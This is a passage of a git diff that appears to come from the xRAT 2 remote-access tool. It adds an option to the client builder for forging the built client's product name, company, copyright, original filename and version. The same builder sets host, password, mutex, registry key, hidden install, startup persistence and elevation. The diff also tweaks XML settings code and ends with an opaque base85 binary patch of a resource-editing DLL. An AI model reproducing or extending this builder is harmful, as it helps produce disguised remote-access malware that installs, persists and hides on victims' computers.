int.Parse(txtPort.Text), int.Parse(txtDelay.Text), GetInstallpath(), chkElevation.Checked, icon); + string[] asmInfo = null; + if (chkChangeAsmInfo.Checked) + { + if (!IsValidVersionNumber(txtProductVersion.Text) || !IsValidVersionNumber(txtFileVersion.Text)) + { + MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); + return; + } + asmInfo = new string[8]; + asmInfo[0] = txtProductName.Text; + asmInfo[1] = txtDescription.Text; + asmInfo[2] = txtCompanyName.Text; + asmInfo[3] = txtCopyright.Text; + asmInfo[4] = txtTrademarks.Text; + asmInfo[5] = txtOriginalFilename.Text; + asmInfo[6] = txtProductVersion.Text; + asmInfo[7] = txtFileVersion.Text; + } + ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), GetInstallpath(), chkElevation.Checked, icon, asmInfo); MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); } catch (Exception ex) @@ -228,8 +274,6 @@ private void btnBuild_Click(object sender, EventArgs e) MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); } - - private int GetInstallpath() { if (rbAppdata.Checked) @@ -256,5 +300,25 @@ private RadioButton GetInstallpath(int installpath) return rbAppdata; } } + + private void ToggleAsmInfoControls() + { + this.Invoke((MethodInvoker)delegate + { + foreach (Control ctrl in groupAsmInfo.Controls) + { + if (ctrl is Label) + ((Label)ctrl).Enabled = chkChangeAsmInfo.Checked; + else if (ctrl is TextBox) + ((TextBox)ctrl).Enabled = chkChangeAsmInfo.Checked; + } + }); + } + + private bool IsValidVersionNumber(string input) + { + Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase); + return match.Success; + } } } diff --git a/Server/Properties/AssemblyInfo.cs b/Server/Properties/AssemblyInfo.cs index 906d6ca7..c7dafc3c 100644 --- a/Server/Properties/AssemblyInfo.cs +++ b/Server/Properties/AssemblyInfo.cs @@ -1,5 +1,6 @@ using System.Reflection; using System.Runtime.InteropServices; +using xRAT_2.Settings; // Allgemeine Informationen über eine Assembly werden über die folgenden // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, @@ -30,3 +31,4 @@ // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("2.0.0.0")] [assembly: AssemblyFileVersion("2.0.0.0")] +[assembly: AssemblyInformationalVersion("2.0.0.0 " + XMLSettings.VERSION)] diff --git a/Server/Server.csproj b/Server/Server.csproj index 2189c092..1944c148 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -55,6 +55,9 @@ + + lib\Vestris.ResourceLib.dll + diff --git a/Server/Settings/ProfileManager.cs b/Server/Settings/ProfileManager.cs index 4ba89367..9f8586d7 100644 --- a/Server/Settings/ProfileManager.cs +++ b/Server/Settings/ProfileManager.cs @@ -38,6 +38,15 @@ public ProfileManager(string settingsFile) root.AppendChild(doc.CreateElement("RegistryName")); root.AppendChild(doc.CreateElement("AdminElevation")).InnerText = "False"; root.AppendChild(doc.CreateElement("ChangeIcon")).InnerText = "False"; + root.AppendChild(doc.CreateElement("ChangeAsmInfo")).InnerText = "False"; + root.AppendChild(doc.CreateElement("ProductName")); + root.AppendChild(doc.CreateElement("Description")); + root.AppendChild(doc.CreateElement("CompanyName")); + root.AppendChild(doc.CreateElement("Copyright")); + root.AppendChild(doc.CreateElement("Trademarks")); + root.AppendChild(doc.CreateElement("OriginalFilename")); + root.AppendChild(doc.CreateElement("ProductVersion")); + root.AppendChild(doc.CreateElement("FileVersion")); doc.Save(settingsFilePath); } @@ -72,13 +81,22 @@ public bool WriteValue(string pstrValueToRead, string pstrValueToWrite) { try { - XmlTextReader reader = new XmlTextReader(settingsFilePath); - XmlDocument doc = new XmlDocument(); - doc.Load(reader); - reader.Close(); XmlNode oldNode; + XmlDocument doc = new XmlDocument(); + using (var reader = new XmlTextReader(settingsFilePath)) + { + doc.Load(reader); + } + XmlElement root = doc.DocumentElement; - oldNode = root.SelectSingleNode("/settings/" + pstrValueToRead); + oldNode = root.SelectSingleNode(@"/settings/" + pstrValueToRead); + if (oldNode == null) // create if not exist + { + oldNode = doc.SelectSingleNode("settings"); + oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite; + doc.Save(settingsFilePath); + return true; + } oldNode.InnerText = pstrValueToWrite; doc.Save(settingsFilePath); return true; diff --git a/Server/Settings/Settings.cs b/Server/Settings/Settings.cs index cdd17f22..2b8888d3 100644 --- a/Server/Settings/Settings.cs +++ b/Server/Settings/Settings.cs @@ -54,6 +54,7 @@ public static string ReadValue(string pstrValueToRead) { return iterator.Current.Value; } + return string.Empty; } catch @@ -66,13 +67,22 @@ public static bool WriteValue(string pstrValueToRead, string pstrValueToWrite) { try { - XmlTextReader reader = new XmlTextReader(settingsFilePath); - XmlDocument doc = new XmlDocument(); - doc.Load(reader); - reader.Close(); XmlNode oldNode; + XmlDocument doc = new XmlDocument(); + using (var reader = new XmlTextReader(settingsFilePath)) + { + doc.Load(reader); + } + XmlElement root = doc.DocumentElement; - oldNode = root.SelectSingleNode("/settings/" + pstrValueToRead); + oldNode = root.SelectSingleNode(@"/settings/" + pstrValueToRead); + if (oldNode == null) // create if not exist + { + oldNode = doc.SelectSingleNode("settings"); + oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite; + doc.Save(settingsFilePath); + return true; + } oldNode.InnerText = pstrValueToWrite; doc.Save(settingsFilePath); return true; diff --git a/Server/lib/Vestris.ResourceLib.dll b/Server/lib/Vestris.ResourceLib.dll new file mode 100644 index 0000000000000000000000000000000000000000..cc8fbc8fe3f85e2ac85c5388cdb730e9dc6950d8 GIT binary patch literal 77824 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 